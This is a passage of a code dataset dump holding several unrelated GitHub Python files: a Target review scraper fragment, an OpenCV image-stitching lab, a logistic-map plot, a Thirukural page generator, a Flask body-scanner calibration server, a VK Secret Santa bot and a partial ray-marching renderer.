float(0)\n product.save()\n\n matches = re.findall(regex['rating'], rating_result)\n\n if len(matches) == 0:\n logger.warn(\"No matches - Product - average rating\")\n else:\n product.average_rating = float(matches[0])\n product.save()\n logger.warn(matches[0])\n\n driver.quit()\n\n time.sleep(3)\n url_item = product_page_url.split('-/A-')[-1]\n url = 'https://redsky.target.com/groot-domain-api/v1/reviews/' + url_item + '?sort=time_desc&filter=&limit=1000&offset=0'\n page_source = requests.get(url, headers=random.choice(headers_list)).json()\n try:\n product.total_number_reviews = page_source['totalResults']\n product.save()\n reviews = page_source['result']\n except:\n logger.warn(page_source)\n\n for item in reviews:\n review_date = item['SubmissionTime']\n review_date = review_date.split(\"T\")[0]\n review_date = datetime.datetime.strptime(review_date, \"%Y-%m-%d\").replace(tzinfo=pytz.UTC)\n\n if review_date > start_date:\n continue\n\n if review_date < cutoff_date:\n return\n\n review_text = item['ReviewText']\n title = item['Title']\n\n if item['IsSyndicated']:\n is_from_brand_website = item['SyndicationSource']['Name']\n else:\n is_from_brand_website = ''\n\n if item['IsRecommended']:\n would_recommend = 'would recommend'\n else:\n would_recommend = 'would not recommend'\n\n rating = item['Rating']\n username = item['UserNickname']\n\n review = Review(project=project, product=product, date=review_date, title=title,\n username=username, review_text=review_text,\n rating=float(rating), is_from_brand_website=is_from_brand_website,\n would_recommend=would_recommend)\n\n review.save()\n calculate_review_stats(project, product)\n","repo_name":"LosGimenos/python_extractor","sub_path":"scraper_tests/target_from_api.py","file_name":"target_from_api.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15414966301","text":"import numpy as np\nimport cv2 as cv\n\nimg1 = cv.imread('IMG_0045.JPG')\nimg2 = cv.imread('IMG_0046.JPG')\n# Q5. does it work when the images are rotated so that they are not approximately aligned at first ?\n# img1 = cv.imread('IMG_0045.JPG')\n# img2 = cv.imread('IMG_0046r.JPG')\n# Q6. make it work on 2 images of your own\n# img1 = cv.imread('WechatIMG19.JPG')\n# img2 = cv.imread('WechatIMG20.JPG')\n\nimg1gray = cv.cvtColor(img1, cv.COLOR_BGR2GRAY)\nimg2gray = cv.cvtColor(img2, cv.COLOR_BGR2GRAY)\n\n# Q1. use an opencv feature extractor and descriptor to detect and compute features on both images\nsift = cv.xfeatures2d_SIFT().create()\n# find the keypoints and descriptors with SIFT\nkp1, des1 = sift.detectAndCompute(img1gray, None)\nkp2, des2 = sift.detectAndCompute(img2gray, None)\nkp1_image = cv.drawKeypoints(img1gray, kp1, None)\nkp2_image = cv.drawKeypoints(img2gray, kp2, None)\ncv.imshow(\"kp1\", kp1_image)\ncv.imshow(\"kp2\", kp2_image)\ncv.waitKey(0)\n\n# Q2. use a descriptor matcher, to compute feature correspondences\n# FLANN parameters\nFLANN_INDEX_KDTREE = 1\nindex_params = dict(algorithm=FLANN_INDEX_KDTREE, trees=5)\nsearch_params = dict(checks=50)\nflann = cv.FlannBasedMatcher(index_params, search_params)\nmatches = flann.knnMatch(des1, des2, k=2)\ngood = []\n# ratio test as per Lowe's paper\nfor m, n in matches:\n\tif m.distance < 0.7 * n.distance:\n\t\tgood.append(m)\nimg3 = cv.drawMatches(img1, kp1, img2, kp2, good, None, flags=2)\ncv.imshow(\"good\", img3)\ncv.waitKey(0)\n\n# Q3. Organize the matched feature pairs into vectors and estimate an homography using RANSAC\npts1 = np.float32([kp1[m.queryIdx].pt for m in good]).reshape(-1, 1, 2)\npts2 = np.float32([kp2[m.trainIdx].pt for m in good]).reshape(-1, 1, 2)\nK, mask = cv.findHomography(pts2, pts1, cv.RANSAC, 3.0)\n\n# Q4. copy I1 to a new (bigger image) K using the identity homography\n# warp I2 to K using the computed homography\nwarpImg = cv.warpPerspective(img2, K, (img1.shape[1] + img2.shape[1], img2.shape[0]))\nwarpImg[0:img1.shape[0], 0:img1.shape[1]] = img1\ncv.imshow(\"warpImg\", warpImg)\ncv.waitKey(0)\n\n\n","repo_name":"winsa24/OpenCV-TP","sub_path":"INF573Lab3/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23944348265","text":"import math\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nr=float(input(\"inserisci il valore di lambda: \"))\r\ndef logistic(r, x):\r\n #defnisco la funzione logistica\r\n return r * x * (1 - x)\r\nx = np.linspace(0, 1)\r\nfig, ax = plt.subplots(1, 1)\r\nax.plot(x, logistic(r, x), 'k', lw=1)\r\nplt.show()","repo_name":"LeonardoPerrini/Iteration-and-bifurcation-of-logistic-map","sub_path":"plot logistica.py","file_name":"plot logistica.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15662863244","text":"\nimport sqlite3, sys\nimport codecs\nfrom unicodedata import normalize\n\nconn = sqlite3.connect('./src/kural.db')\n\ncur = conn.cursor()\ncur.execute(\"SELECT cast(kurals.id as int) as id, kural, title, content FROM kurals join vilakams WHERE kurals.id = vilakams.id order by kurals.id\")\n#cur.execute(\"SELECT cast(id as int) as id, kural, title FROM kurals order by id\")\n\nrows = cur.fetchall()\n\nkural_id = '''\n

\n kural_id\n
\n'''\n\nkural_title = '''\n
\n kural_title\n
\n'''\n\nkural_explaination = '''\n
\n -kural_explaination\n
\n'''\n\nkural_template = '''\n
\n
\n kural \n
\n kural_id\n kural_title\n kural_explaination\n
\n'''\n\nkurals = []\n\nfor row in rows:\n output = \"\"\n if row[0] % 10 == 1:\n output = \"
\" + kural_template.replace(\"kural_id\", \"\").replace(\"kural_title\", \"\").replace(\"kural_explaination\", \"\").replace('data-transition=\"convex\"', 'data-autoslide=\"4000\"').replace(\"kural\" , \"

\" + normalize('NFC', row[2]) + \"

\")\n x = row[1].split(\"
\")\n x[1] = x[1].strip().rstrip(\".\") + \".\"\n x = [\"

\" + normalize('NFC', line) + \"

\" for line in x]\n k_id = kural_id.replace(\"kural_id\", str(row[0]))\n k_title = kural_title.replace(\"kural_title\", row[2])\n k_explaination = kural_explaination.replace(\"kural_explaination\", row[3])\n output += kural_template.replace(\"kural_id\", k_id).replace(\"kural_title\", k_title).replace(\"kural_explaination\", k_explaination).replace(\"kural\", \"\".join(x))\n if row[0] % 10 == 0:\n output += \"
\"\n kurals.append(output)\n\noutput = \"\\n\".join(kurals)\n\nreading_file = codecs.open(\"./src/template.html\", \"r\", encoding='utf8')\n\nnew_file_content = \"\"\nfor line in reading_file:\n stripped_line = line.strip()\n new_line = stripped_line.replace(\"kural_list\", output)\n new_file_content += new_line +\"\\n\"\nreading_file.close()\n\nwriting_file = codecs.open(\"./docs/index.html\", \"w\", encoding='utf8')\nwriting_file.write(new_file_content)\nwriting_file.close()\n\nconn.commit()\n \n","repo_name":"kirubasankars/thirukural","sub_path":"kural.py","file_name":"kural.py","file_ext":"py","file_size_in_byte":2523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7781066318","text":"class Rectangle:\n def __init__(self, x, y, width, height):\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n\n def __str__(self):\n return f\"Rectangle: {self.x}, {self.y}, {self.width}, {self.height}\"\n\n\n# Создание объекта прямоугольника\nrect = Rectangle(5, 10, 50, 100)\nprint(rect)\n","repo_name":"FIXXIII/hwskiilfactory","sub_path":"hw16.9.1.py","file_name":"hw16.9.1.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32941548231","text":"from __future__ import print_function\nfrom flask import Flask, Response, send_from_directory\nimport time, numpy, sys, threading, subprocess\nfrom CameraPi import Camera\nfrom ScanModule import Scanner\nimport cv2\nimport cv2.cv as cv\nfrom StepperDriverArduino import StepperDriver\n\napp = Flask(__name__)\n\n@app.route(\"/api/scan\")\ndef start_scan():\n\tdef scan():\n\t\tglobal s\n\t\tyield \"Resetting stepper\\n\"\n\t\ts.goBottom()\n\t\tyield \"Starting scan\\n\"\n\t\tscanner = Scanner(1640, 1232, s)\n\t\treturn\n\t\t\n\treturn Response(scan())\n\n@app.route(\"/api/live\")\ndef capture():\n\tcam = Camera(1640, 1232)\n\tcapture = cam.snap()\n\tcam.close()\n\tcv2.imwrite(\"capture.jpg\", capture)\n\treturn send_from_directory(\".\", \"capture.jpg\")\n\n@app.route(\"/api/calibrate\")\ndef calibrate_wrapper():\n\tdef calibrate():\n\t\tcaptureWidth = 1640 #Width of camera picture\n\t\tcaptureHeight = 1232 #Height of camera picture\n\t\tlaserTreshold = 100 #Tune this value for laser detection (100 for Logitech)\n\t\tcam = Camera(captureWidth, captureHeight)\n\n\t\tyield \"Resetting axis...\\n\"\n\t\ts.goUp()\n\t\ts.goBottom()\n\t\t\n\t\t#Gather the setup vectors\n\t\tyield \"Shooting initial difference picture \\n\"\n\t\tfor i in range(4, 0, -1):\n\t\t\tyield str(i) + \" \\n\"\n\t\t\ttime.sleep(1)\n\t\tbaseImg = cam.snap()\n\t\tbaseImgChannelB, baseImgChannelG, baseImgChannelR = cv2.split(baseImg)\n\t\n\t\tsourceMatrix = []\n\t\t\n\t\tfor corner in range(1, 5):\n\t\t\tedgeFound = False\n\t\t\twhile not edgeFound:\n\t\t\t\tyield \"Laserpoint \" + str(corner) + \"'d edge\\n\"\n\t\t\t\t\n\t\t\t\tfor i in range(5, 0, -1):\n\t\t\t\t\tyield str(i) + \" \\n\"\n\t\t\t\t\ttime.sleep(1)\n\t\t\t\tyield \"Picture taken\\n\"\n\n\t\t\t\tchannelB, channelG, channelR = cv2.split(cam.snap())\n\t\t\t\tmask = cv2.absdiff(baseImgChannelR, channelR)\n\n\t\t\t\tret, mask = cv2.threshold(mask, laserTreshold, 255, cv2.THRESH_BINARY)\n\t\t\t\tmask = cv2.dilate(mask, None, iterations=2) \n\t\t\n\t\t\t\tcontours, hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\t\t\t\tcv2.drawContours(baseImg, contours, -1, (0,255,0), 3)\t\t\n\t\t\n\t\t\t\tcv2.imwrite(\"calibration_corner\" + str(corner) + \".png\", baseImg)\n\t\t\n\t\t\t\tif len(contours) > 1:\n\t\t\t\t\tyield \"More than one edge found, please repeat this edge\\n\"\n\t\t\t\t\n\t\t\t\telif len(contours) == 0:\n\t\t\t\t\tyield \"No edge found, please repeat this edge\\n\"\n\t\t\t\t\n\t\t\t\telse:\n\t\t\t\t\tcontour = contours[0]#Select the first and hopefully only recognized contour\n\t\t\t\t\t(x,y), radius = cv2.minEnclosingCircle(contour)\n\t\t\t\t\tcenter = (int(x),int(y))\n\t\t\t\t\tradius = int(radius)\n\t\t\t\t\tprint(\"Dot found at \" + str(center))\n\t\t\t\t\tcv2.circle(baseImg , center, radius,(255,255,255), 2) #Visual feedback\n\t\t\t\t\tsourceMatrix.append([center[0], center[1]])\n\t\t\t\t\tedgeFound = True\n\n\t\tcv2.imwrite(\"calibration_corners.png\", baseImg)\n\t\n\t\t#Resort the matrix to make sure we have a planar projection (no foldings)\n\t\tnormalizedSource = []\n\t\tsourceMatrix = numpy.float32(sourceMatrix)\n\t\tnormalizedSource.append(sourceMatrix[sourceMatrix.argmax(axis=0)][0]) #Rightmost edge -> Upper right corner\n\t\tnormalizedSource.append(sourceMatrix[sourceMatrix.argmax(axis=0)][1]) #Lowest edge -> Lower right corner\n\t\tnormalizedSource.append(sourceMatrix[sourceMatrix.argmin(axis=0)][0]) #Leftmost edge -> Lower left corner\n\t\tnormalizedSource.append(sourceMatrix[sourceMatrix.argmin(axis=0)][1]) #Highest edge -> Upper left corner\n\n\t\t#Create and save the masking we will use in the second step do filter out unwanted laser dots\n\t\tcropImage = numpy.zeros((captureHeight,captureWidth,1), numpy.uint8)\n\t\tpts = numpy.array(normalizedSource, numpy.int32)\n\t\tpts = pts.reshape((-1,1,2))\n\t\tcv2.fillPoly(cropImage,[pts], (255))\n\t\tcv2.imwrite(\"crop_image.png\", cropImage)\n\t\n\t\t#Continue with the perspective transformation\n\t\tpts2 = [[720,0], [720,720], [0,720], [0,0]]\n\t\ttry:\n\t\t\ttransformationMatrix = cv2.getPerspectiveTransform(numpy.float32(normalizedSource), numpy.float32(pts2))\n\t\texcept cv2.error:\n\t\t\tcam.release()\n\t\t\tyield \"Not enough tracking points found\"\n\t\t\treturn \n\t\t\n\t\tyield \"Your coefficients are:\\n\"\n\t\tyield str(transformationMatrix) + \"\\n\"\n\t\tdst = cv2.warpPerspective(baseImg, transformationMatrix , (captureHeight,captureHeight), flags=cv2.INTER_NEAREST)\n\t\n\t\tyield \"Writing transformation matrix...\\n\"\n\t\tnumpy.savetxt(\"calibration.txt\", transformationMatrix)\n\t\tcam.close()\n\t\t\n\treturn Response(calibrate())\n\t\n@app.route(\"/api/calibrate/matrix\")\ndef sendMatrix():\n\treturn send_from_directory(\".\", \"calibration.txt\")\n\n@app.route(\"/api/calibrate/cropimage\")\ndef sendCropImage():\n\treturn send_from_directory(\".\", \"crop_image.png\")\n\n@app.route(\"/api/stepper/up\")\ndef stepper_up():\n\tglobal s\n\ts.goUp()\n\treturn \"ok\"\n\t\n@app.route(\"/api/stepper/down\")\ndef stepper_down():\n\tglobal s\n\ts.goDown()\n\treturn \"ok\"\n\t\n@app.route(\"/api/stepper/top\")\ndef stepper_top():\n\tglobal s\n\ts.goTop()\n\treturn \"ok\"\n\n@app.route(\"/api/stepper/bottom\")\ndef stepper_bottom():\n\tglobal s\n\ts.goBottom()\n\treturn \"ok\"\n\t\n@app.route(\"/api/stepper/sleep\")\ndef stepper_sleep():\n\tglobal s\n\ts.startSleep()\n\treturn \"ok\"\n\ns = StepperDriver() #Initialize the Stepper\n\nif __name__ == '__main__':\n\tapp.run(host=\"0.0.0.0\", port=80, debug=True, use_reloader=False)\n","repo_name":"shackspace/body-scanner","sub_path":"captureServer.py","file_name":"captureServer.py","file_ext":"py","file_size_in_byte":4998,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"6793664066","text":"import random\nimport time\nfrom typing import Tuple\n\nfrom santa_vk_bot.classes.userClass import User\nfrom santa_vk_bot.classes.msgCls import Message, Btn\nfrom santa_vk_bot.classes import myVkbotClass\nfrom santa_vk_bot import features, msg_send\nfrom santa_vk_bot.config import settings\nfrom santa_vk_bot.models import Users\n\nvk_methods = myVkbotClass.VkMethods(settings.vk_bot_token, settings.vk_api_version)\n\n\ndef create_join_link_and_key(join_prefix: str, room_id: int) -> Tuple[str, str]:\n key = f\"{join_prefix}{int(time.time())}{room_id}{len(str(room_id))}\"\n vk_link = f'vk.me/-{settings.vk_group_id}?ref={key}'\n return key, vk_link\n\n\ndef parse_key(command: str, join_prefix) -> int:\n ref_code = command.replace(join_prefix, '').strip()\n if not ref_code:\n return 0\n num_len = int(ref_code[-1]) if ref_code[-1].isdigit() else 0\n if not num_len:\n return num_len\n return int(ref_code[-num_len-1:-1]) if ref_code[-num_len-1:-1].isdigit() else 0\n\n\ndef about_response(user: User):\n # если у чувака уже есть комната\n if user.room_id:\n # если он админ этой комнаты тогда предлагаем ему кикнуть, узнать список людей, зашафлить\n if user.is_admin:\n msg = Message(f\"{features.admin_about.text}\\n\", [])\n # если комната уже создана, напоминаем ключ захода в нее\n if user.room_id:\n key, vk_link = create_join_link_and_key(features.user_adding.prefix, user.room_id)\n user.send_msg(Message(f\"Напоминаю код комнаты: {key}\\nИ ссылку: {vk_link}\"))\n for ftr in [features.wish_list_menu, features.check_room, features.start_shuffle, features.delete_room]:\n if ftr is features.start_shuffle and user.get_room_shuffled():\n ftr = features.reshuffle\n msg.text += f\"\\n — {ftr.descr};\"\n msg.kb.append([Btn(ftr.button, color=ftr.button_color)])\n # иначе сообщаем юзеру что он сейчас в комнате и предлагаем ливнуть оттуда или запилить вишлист\n else:\n admin = user.get_room_admin()\n admin_name = vk_methods.linked_user_name(admin.user_social_id) if admin else \"\"\n msg = Message(f\"{features.user_about.text.format(admin_name=admin_name)}\\n\", [])\n for ftr in [features.wish_list_menu, features.user_leave]:\n msg.text += f\"\\n — {ftr.descr};\"\n msg.kb.append([Btn(ftr.button, color=ftr.button_color)])\n # предлагаем создать комнату\n else:\n msg = Message(f\"{features.about.text}\\n\", [])\n msg.text += f\"\\n — {features.room_creation.descr};\"\n msg.kb.append([Btn(features.room_creation.button)])\n\n user.send_msg(msg)\n\n\ndef create_room(user: User):\n # создаем новую комнату, назначаем юзера админом, возвращаем ему ключ захода и ссылку\n room_id = user.create_room()\n # генерируем ключ для захода\n key, vk_link = create_join_link_and_key(features.user_adding.prefix, room_id)\n msg = Message(f\"{features.room_creation.text}\\n\\nКод: {key}\\nСсылка: {vk_link}\")\n user.send_msg(msg)\n if not vk_methods.check_user_sub(settings.vk_group_id, user.uid):\n user.send_msg(Message(features.pls_sub.text))\n about_response(user)\n\n\ndef add_user_to_room(user: User, command: str):\n room_id = parse_key(command, features.user_adding.prefix)\n if room_id:\n room = user.set_room(room_id)\n if room == 'exists':\n msg = Message(features.room_error.text2)\n elif room:\n # пишем юзеру в чью комнату он зашел\n room_admin_id = Users.get_or_none(room_id=room_id, is_admin=True)\n if room_admin_id:\n room_admin_name = vk_methods.linked_user_name(room_admin_id.user_social_id)\n msg = Message(features.user_adding.text.format(room_admin_name))\n # пишем админу что в его комнату зашли\n user_name = vk_methods.linked_user_name(user.uid)\n admin_msg = Message(features.user_adding.descr.format(user_name), kb=[[Btn(features.about.button)]])\n msg_send.send_msg(user_id=room_admin_id.user_social_id, msg=admin_msg)\n else:\n msg = Message(features.user_adding.text.format(''))\n else:\n msg = Message(features.room_error.text)\n else:\n msg = Message(features.room_error.text)\n user.send_msg(msg)\n about_response(user)\n\n\ndef approve_kick_user_from_room(admin: User, command: str):\n # парсим юзера из его социальной айди\n try:\n user_id = command.replace(features.kick_user.button.lower(), '').strip()\n user = User(uid=user_id)\n user_name = vk_methods.linked_user_name(user_id)\n admin.set_state(state_key=features.kick_user.state_key)\n admin.send_msg(Message(features.kick_user.text2.format(user_name),\n kb=[[Btn(f\"{features.kick_user.button} {user.uid}\")], [Btn(features.no_state.button)]]))\n except Exception:\n admin.send_msg(Message(features.kick_user_not_found.text,\n kb=[[Btn(features.check_room.button)], [Btn(features.about.button)]]))\n\n\ndef kick_user_from_room(admin: User, command: str):\n # если админ передумал\n if command in features.no_state.activators:\n admin.send_msg(Message(features.no_state.text))\n else:\n try:\n # парсим юзера из его социальной айди\n user_id = command.replace(features.kick_user.button.lower(), '').strip()\n user_name = vk_methods.linked_user_name(user_id)\n # кикаем\n user = User(uid=user_id)\n admin.kick_user(user.db_id)\n # говорим и админу и юзеру о кике\n admin.send_msg(Message(features.kick_user.text.format(user_name)))\n admin_name = vk_methods.linked_user_name(admin.uid)\n user.send_msg(Message(features.kicked_user.text.format(admin_name=admin_name)))\n except Exception:\n admin.send_msg(Message(features.kick_user_not_found.text,\n kb=[[Btn(features.check_room.button)], [Btn(features.about.button)]]))\n admin.drop_state()\n about_response(admin)\n\n\ndef approve_clear_room(admin: User):\n admin.set_state(state_key=features.delete_room.state_key)\n admin.send_msg(Message(features.delete_room.text2,\n kb=[[Btn(features.delete_room.button, color=features.delete_room.button_color)],\n [Btn(features.no_state.button)]]))\n\n\ndef clear_room(admin: User, command: str):\n # если админ передумал\n if command in features.no_state.activators:\n admin.send_msg(Message(features.no_state.text))\n else:\n all_room_users = admin.clear_room()\n for user_social_id in all_room_users:\n user = User(uid=user_social_id)\n user.send_msg(Message(features.delete_room.text))\n admin.drop_state()\n about_response(admin)\n\n\ndef approve_user_leave_room(user: User):\n user.set_state(state_key=features.user_leave.state_key)\n user.send_msg(Message(features.user_leave_approve.text,\n kb=[[Btn(features.user_leave.button)], [Btn(features.no_state.button)]]))\n\n\ndef user_leave_room(user: User, command: str):\n # если юзер передумал\n if command in features.no_state.activators:\n msg = Message(features.no_state.text)\n else:\n room_id = user.get_user_room_id()\n # пишем админу из чьей комнаты он вышел\n room_admin_id = Users.get_or_none(room_id=room_id, is_admin=True)\n if room_admin_id:\n # пишем админу что из его комнаты вышли\n user_name = vk_methods.linked_user_name(user.uid)\n msg_send.send_msg(user_id=room_admin_id.user_social_id,\n msg=Message(features.user_leave.text2.format(user_name), kb=[[Btn(features.about.button)]]))\n user.leave_room()\n msg = Message(features.user_leave.text)\n user.drop_state()\n user.send_msg(msg)\n about_response(user)\n\n\ndef state_error(user: User):\n user.drop_state()\n my_name = vk_methods.linked_user_name(settings.error_receiver_id)\n user.send_msg(Message(features.error_state.text.format(my_name)))\n\n\ndef start_gifts_shuffle(admin: User):\n # закольцовываем список участников\n members = [i.user_social_id for i in admin.get_all_room_users()]\n random.shuffle(members)\n members.append(members[0])\n\n # проверка готовности участников\n for uid_i in range(len(members) - 1):\n user_id = members[uid_i]\n msg_to_user = msg_send.send_msg(user_id=user_id, msg=Message(features.check_shuffle.text))\n if not msg_to_user:\n user_link = vk_methods.linked_user_name(user_id)\n admin.send_msg(Message(f\"{user_link} {features.check_shuffle.text2}\"))\n return\n\n for uid_i in range(len(members) - 1):\n sender_id = members[uid_i]\n sender = User(uid=sender_id)\n getter_id = members[uid_i + 1]\n getter_link = vk_methods.linked_user_name(getter_id)\n # подгружаем вишлист\n getter = User(uid=getter_id)\n getter_wishlist = getter.get_wishlist()\n text = f\"{getter_link} {features.start_shuffle.text}. {features.start_shuffle.text2} {getter_wishlist}\" \\\n if getter_wishlist else f\"{getter_link} {features.start_shuffle.text}\"\n msg = Message(text)\n sender.send_msg(msg)\n sender.send_msg(Message(features.pls_sub.text))\n # запись в базу зашафленных пар\n sender.set_getter_db_id(getter.db_id)\n\n admin.room_shuffled()\n\n\ndef check_users_in_room(admin: User):\n all_users = list(admin.get_all_room_users())\n admin.send_msg(Message(features.check_room.text))\n for user in all_users:\n user_name = vk_methods.linked_user_name(user.user_social_id)\n kb = [[Btn(f\"{features.kick_user.button} {user.user_social_id}\")]]\n admin.send_msg(Message(user_name, kb, inline_kb=True))\n about_response(admin)\n\n\ndef wrong_request(user: User):\n msg = Message(features.wrong_command.text, kb=[[Btn(features.rules_and_help.button)], [Btn(features.about.button)]])\n user.send_msg(msg)\n\n\ndef help_request(user: User):\n my_name = vk_methods.linked_user_name(settings.error_receiver_id)\n user.send_msg(Message(features.rules_and_help.text.format(my_name), kb=[[Btn(features.about.button)]]))\n\n\ndef wishlist_menu_response(user: User):\n wish_list = user.get_wishlist()\n msg = Message(f\"{features.wish_list_menu.text.format(wish_list=wish_list)}\\n\", [])\n for ftr in [features.create_wish_list, features.append_wish_list]:\n msg.text += f\"\\n — {ftr.descr};\"\n msg.kb.append([Btn(ftr.button, color=ftr.button_color)])\n msg.kb.append([Btn(features.about.button, color=features.about.button_color)])\n user.send_msg(msg)\n\n\ndef wishlist_append_response(user: User):\n user.set_state(state_key=features.append_wish_list.state_key)\n user.send_msg(Message(features.append_wish_list.text))\n\n\ndef wishlist_create_response(user: User):\n user.set_state(state_key=features.create_wish_list.state_key)\n user.send_msg(Message(features.create_wish_list.text))\n\n\ndef process_append_wish_list(user: User, command: str):\n old_wishlist = user.get_wishlist()\n new_wishlist = f\"{old_wishlist}\\n{command}\"\n user.save_wishlist(new_wishlist)\n user.drop_state()\n updated_wishlist = user.get_wishlist()\n user.send_msg(Message(f\"{features.append_wish_list.text2}\\n\\n{updated_wishlist}\",\n kb=[[Btn(features.wish_list_menu.button)], [Btn(features.about.button)]]))\n live_update_wishlist(user, updated_wishlist)\n\n\ndef process_create_wish_list(user: User, command: str):\n user.save_wishlist(command)\n user.drop_state()\n updated_wishlist = user.get_wishlist()\n user.send_msg(Message(f\"{features.create_wish_list.text2}\\n\\n{updated_wishlist}\",\n kb=[[Btn(features.wish_list_menu.button)], [Btn(features.about.button)]]))\n live_update_wishlist(user, updated_wishlist)\n\n\ndef live_update_wishlist(user: User, getter_wishlist: str):\n sender_db = user.get_sender()\n if sender_db:\n sender = User(uid=sender_db.user_social_id)\n getter_link = vk_methods.linked_user_name(user.uid)\n text = f\"{getter_link} {features.live_update_wish_list.text2} {getter_wishlist}\"\n sender.send_msg(Message(text, kb=[[Btn(features.about.button)]]))\n user.send_msg(Message(features.live_update_wish_list.text,\n kb=[[Btn(features.wish_list_menu.button)], [Btn(features.about.button)]]))\n","repo_name":"NekitPnt/santa_bot","sub_path":"santa_vk_bot/handlers/secret_santa.py","file_name":"secret_santa.py","file_ext":"py","file_size_in_byte":13320,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"30801618165","text":"import numpy as np\r\nimport json\r\n\r\nfrom objects import Sphere, Plane, Material, Cylinder\r\nfrom lights import DirectionalLight, PointLight\r\nfrom utils import normalize, reflect, Ray\r\n\r\nclass Camera:\r\n def __init__(self, position, up, forward, width, height, fov):\r\n self.position = position\r\n self.up = normalize(up)\r\n self.forward = normalize(forward)\r\n self.right = normalize(np.cross(up, forward))\r\n self.transform = np.matrix([self.forward, self.right, self.up])\r\n self.width = width\r\n self.height = height\r\n self.fov = fov\r\n self.fov_ratio = height / width\r\n\r\nclass Scene: \r\n def __init__(self, json_file):\r\n with open(json_file, \"r\") as file:\r\n json_data = json.load(file)\r\n \r\n try:\r\n self.camera = Camera(\r\n np.array(json_data[\"camera\"][\"position\"]),\r\n np.array(json_data[\"camera\"][\"up\"]),\r\n np.array(json_data[\"camera\"][\"forward\"]),\r\n int(json_data[\"camera\"][\"pixel_width\"]),\r\n int(json_data[\"camera\"][\"pixel_height\"]),\r\n int(json_data[\"camera\"][\"fov\"])\r\n )\r\n except:\r\n print(\"Error parsing camera\")\r\n exit(-1)\r\n \r\n self.objects = []\r\n for i, object in enumerate(json_data[\"objects\"]):\r\n try:\r\n material = Material (\r\n np.array(object[\"material\"][\"ambient\"]),\r\n np.array(object[\"material\"][\"diffuse\"]),\r\n np.array(object[\"material\"][\"spectral\"]),\r\n float(object[\"material\"][\"spectral_p\"])\r\n )\r\n \r\n if object[\"type\"] == \"sphere\":\r\n self.objects.append(\r\n Sphere(\r\n np.array(object[\"position\"]),\r\n float(object[\"radius\"]), \r\n material\r\n )\r\n )\r\n elif object[\"type\"] == \"plane\":\r\n self.objects.append(\r\n Plane(\r\n np.array(object[\"position\"]),\r\n np.array(object[\"normal\"]),\r\n material\r\n )\r\n )\r\n elif object[\"type\"] == \"cylinder\":\r\n self.objects.append(\r\n Cylinder(\r\n np.array(object[\"position1\"]),\r\n np.array(object[\"position2\"]),\r\n float(object[\"radius\"]),\r\n material\r\n )\r\n )\r\n else:\r\n raise Exception\r\n except:\r\n print(f\"Error parsing object at index {i}\")\r\n exit(-1)\r\n \r\n self.lights = []\r\n for light in json_data[\"lights\"]:\r\n try:\r\n if light[\"type\"] == \"point\":\r\n self.lights.append(\r\n PointLight(\r\n np.array(light[\"position\"]),\r\n np.array(light[\"color\"])\r\n )\r\n )\r\n elif light[\"type\"] == \"directional\":\r\n self.lights.append(\r\n DirectionalLight(\r\n np.array(light[\"direction\"]),\r\n np.array(light[\"color\"])\r\n )\r\n )\r\n else:\r\n raise Exception\r\n except:\r\n print(f\"Error parsing light at index {i}\")\r\n exit(-1)\r\n \r\n def ray_march(self, ray): \r\n # Does this ray hit anything\r\n object_hit = None\r\n hit_location = None\r\n \r\n current_ray_traveled = 0\r\n for _ in range(1000):\r\n current_ray = current_ray_traveled*ray.ray_direction + ray.ray_position\r\n \r\n min_distance = float('inf')\r\n min_object = -1\r\n for i, object in enumerate(self.objects):\r\n this_distance = object.get_distance(current_ray)\r\n if this_distance < min_distance:\r\n min_distance = this_distance\r\n min_object = i\r\n \r\n if min_distance < 0.001:\r\n object_hit = self.objects[min_object]\r\n hit_location = current_ray\r\n break\r\n elif min_distance > (2**32):\r\n break\r\n else:\r\n current_ray_traveled += min_distance\r\n \r\n return object_hit, hit_location\r\n \r\n def get_pixel_color(self, x, y):\r\n # what is the ray coming from this pixel\r\n theta = np.radians(((x - (self.camera.width/2)) / self.camera.width) * self.camera.fov)\r\n rho = np.radians(((y - (self.camera.height/2)) / self.camera.height) * self.camera.fov * self.camera.fov_ratio)\r\n x_rotation = np.matrix([\r\n [np.cos(theta), -np.sin(theta), 0],\r\n [np.sin(theta), np.cos(theta), 0],\r\n [0 , 0 , 1]\r\n ])\r\n y_rotation = np.matrix([\r\n [ np.cos(rho), 0, np.sin(rho)],\r\n [ 0 , 1, 0 ],\r\n [-np.sin(rho), 0, np.cos(rho)]\r\n ])\r\n direction_transform = self.camera.transform * x_rotation * y_rotation * np.linalg.inv(self.camera.transform)\r\n ray_direction = np.resize(direction_transform @ self.camera.forward, (3,))\r\n camera_ray = Ray(self.camera.position, ray_direction)\r\n \r\n hit_object, hit_location = self.ray_march(camera_ray)\r\n \r\n pixel_color = np.array((0.0, 0.0, 0.0), dtype=np.float64)\r\n if hit_object is not None:\r\n \r\n # Ambient Shading\r\n pixel_color += hit_object.material.get_ambient_coef()\r\n \r\n diffuse_color = np.array([0.0, 0.0, 0.0])\r\n spectral_color = np.array([0.0, 0.0, 0.0])\r\n for light in self.lights:\r\n \r\n light_direction = normalize(light.get_ray(hit_location))\r\n light_distance = np.linalg.norm(hit_location - light.get_position())\r\n shadow_ray = Ray(hit_location + 0.002*hit_object.get_surface_normal(hit_location), -light_direction)\r\n shadow_hit_object, shadow_hit_location = self.ray_march(shadow_ray) \r\n \r\n if shadow_hit_object is not None:\r\n hit_distance = np.linalg.norm(hit_location - shadow_hit_location)\r\n if light_distance > hit_distance:\r\n continue\r\n \r\n # 